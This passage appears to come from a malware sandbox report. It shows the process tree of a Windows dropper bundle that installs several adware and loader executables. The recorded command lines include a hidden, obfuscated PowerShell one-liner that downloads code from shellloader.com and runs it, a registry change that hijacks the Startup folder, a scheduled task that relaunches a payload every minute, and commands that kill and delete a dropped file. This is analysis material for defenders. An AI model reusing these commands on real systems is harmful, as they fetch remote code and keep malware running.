      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10232
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4720
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6636
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8532
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8760
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9188
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1116
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4756
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9932
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6572
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9804
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4364
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8700
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4296
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5748
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6764
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9204
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7636
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6684
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8952
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9660
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8088
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9828
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9048
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6324
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9920
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8396
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7264
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6872
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10104
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5644
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7872
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9716
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2676
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8696
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3020
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7528
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7536
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8112
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1900
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:9580
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:10024
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6876
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7360
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:7660
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4696
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6080
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3168
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5368
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4432
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8384
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8664
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5668
      - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:8332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
      4⤵
      PID:524
    - - C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11bc0507b56295.exe
        
        Tue11bc0507b56295.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1816

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5080
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5400

C:\Users\Admin\AppData\Local\Temp\is-57MVF.tmp\Tue11b9d76a96506.tmp
"C:\Users\Admin\AppData\Local\Temp\is-57MVF.tmp\Tue11b9d76a96506.tmp" /SL5="$801F4,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS45165B34\Tue11b9d76a96506.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2972
- C:\Users\Admin\AppData\Local\Temp\is-P0LCL.tmp\46807GHF____.exe
  "C:\Users\Admin\AppData\Local\Temp\is-P0LCL.tmp\46807GHF____.exe" /S /UID=burnerch2
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Program Files directory
  PID:3556
- - C:\Program Files\7-Zip\RNXFOBLVUC\ultramediaburner.exe
    "C:\Program Files\7-Zip\RNXFOBLVUC\ultramediaburner.exe" /VERYSILENT
    3⤵
    - Executes dropped EXE
    PID:856
  - - C:\Users\Admin\AppData\Local\Temp\is-TO6AK.tmp\ultramediaburner.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-TO6AK.tmp\ultramediaburner.tmp" /SL5="$30224,281924,62464,C:\Program Files\7-Zip\RNXFOBLVUC\ultramediaburner.exe" /VERYSILENT
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of FindShellTrayWindow
      PID:1368
    - - C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        5⤵
        Executes dropped EXE
        
        PID:6332
- - C:\Users\Admin\AppData\Local\Temp\6d-542e1-28d-c82ac-3103cffd2fafd\Vigaesakexo.exe
    "C:\Users\Admin\AppData\Local\Temp\6d-542e1-28d-c82ac-3103cffd2fafd\Vigaesakexo.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1908
- - C:\Users\Admin\AppData\Local\Temp\da-c2720-fe3-37f92-9054491aac252\Larelizhaehy.exe
    "C:\Users\Admin\AppData\Local\Temp\da-c2720-fe3-37f92-9054491aac252\Larelizhaehy.exe"
    3⤵
    - Executes dropped EXE
    PID:5284
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ju42zljj.42g\GcleanerEU.exe /eufive & exit
      4⤵
      PID:7524
    - - C:\Users\Admin\AppData\Local\Temp\ju42zljj.42g\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\ju42zljj.42g\GcleanerEU.exe /eufive
        5⤵
        
        PID:4496
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 648
        6⤵
        Program crash
        
        PID:8208
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 668
        6⤵
        Program crash
        
        PID:8468
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 624
        6⤵
        Program crash
        
        PID:8736
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 676
        6⤵
        Program crash
        
        PID:8892
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 880
        6⤵
        Program crash
        
        PID:8536
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 976
        6⤵
        Program crash
        
        PID:656
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ju42zljj.42g\GcleanerEU.exe" & exit
        6⤵
        
        PID:8732
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2164
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y2q4jitg.fxp\installer.exe /qn CAMPAIGN="654" & exit
      4⤵
      PID:7700
    - - C:\Users\Admin\AppData\Local\Temp\y2q4jitg.fxp\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\y2q4jitg.fxp\installer.exe /qn CAMPAIGN="654"
        5⤵
        Loads dropped DLL
        Enumerates connected drives
        Modifies system certificate store
        Suspicious use of FindShellTrayWindow
        
        PID:7984
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\y2q4jitg.fxp\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\y2q4jitg.fxp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630849679 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        6⤵
        
        PID:10036
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0gvdvxl5.thv\anyname.exe & exit
      4⤵
      PID:8000
    - - C:\Users\Admin\AppData\Local\Temp\0gvdvxl5.thv\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\0gvdvxl5.thv\anyname.exe
        5⤵
        
        PID:7384
      - C:\Users\Admin\AppData\Local\Temp\0gvdvxl5.thv\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0gvdvxl5.thv\anyname.exe" -u
        6⤵
        
        PID:8252
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\de5zgf3w.0mt\gcleaner.exe /mixfive & exit
      4⤵
      PID:4384
    - - C:\Users\Admin\AppData\Local\Temp\de5zgf3w.0mt\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\de5zgf3w.0mt\gcleaner.exe /mixfive
        5⤵
        
        PID:8140
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 648
        6⤵
        Program crash
        
        PID:8576
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 660
        6⤵
        Program crash
        
        PID:8816
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 664
        6⤵
        Program crash
        
        PID:8980
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 668
        6⤵
        Program crash
        
        PID:9168
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 1176
        6⤵
        Program crash
        
        PID:9120
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 1240
        6⤵
        Program crash
        
        PID:9164
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 1228
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:8740
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pqxqta3k.1is\autosubplayer.exe /S & exit
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:7424

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:648

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2140

C:\Users\Admin\AppData\Local\Temp\is-A98IS.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-A98IS.tmp\setup_2.tmp" /SL5="$501C6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:5352
- C:\Users\Admin\AppData\Local\Temp\is-FA8KG.tmp\postback.exe
  "C:\Users\Admin\AppData\Local\Temp\is-FA8KG.tmp\postback.exe" ss1
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5984
- - C:\Windows\SysWOW64\explorer.exe
    explorer.exe ss1
    3⤵
    PID:5912
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
      4⤵
      PID:6640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        5⤵
        Blocklisted process makes network request
        
        PID:6320
  - - C:\Users\Admin\AppData\Local\Temp\Ocrrgk0zP.exe
      "C:\Users\Admin\AppData\Local\Temp\Ocrrgk0zP.exe"
      4⤵
      Executes dropped EXE
      PID:3944
    - - C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
        5⤵
        
        PID:644
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        6⤵
        
        PID:5632
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        Loads dropped DLL
        
        PID:7148
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        7⤵
        
        PID:8604
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:8176
  - - C:\Users\Admin\AppData\Local\Temp\h7GBo6vg5.exe
      "C:\Users\Admin\AppData\Local\Temp\h7GBo6vg5.exe"
      4⤵
      PID:7628
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 1572
      4⤵
      Program crash
      PID:5212

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2136
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7148

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7252

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:7708

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8932

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:6468

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
PID:7576
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2A5B9FD37E3851574D6B239B142CCB60 C
  2⤵
  - Loads dropped DLL
  PID:4420
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3501E4BF598179816BCEF3CAB9D5CA78
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:9840
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:7192
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F434989F12462522D1F69DD43A1C865B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  PID:9120

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7396

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6264

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9796
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:9820

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
1⤵
PID:6036
- C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
  C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
  2⤵
  - Modifies system executable filetype association
  - Adds Run key to start application
  - Modifies Internet Explorer settings
  - Modifies registry class
  PID:1088
- - C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe
    "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe"
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:1448

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7584

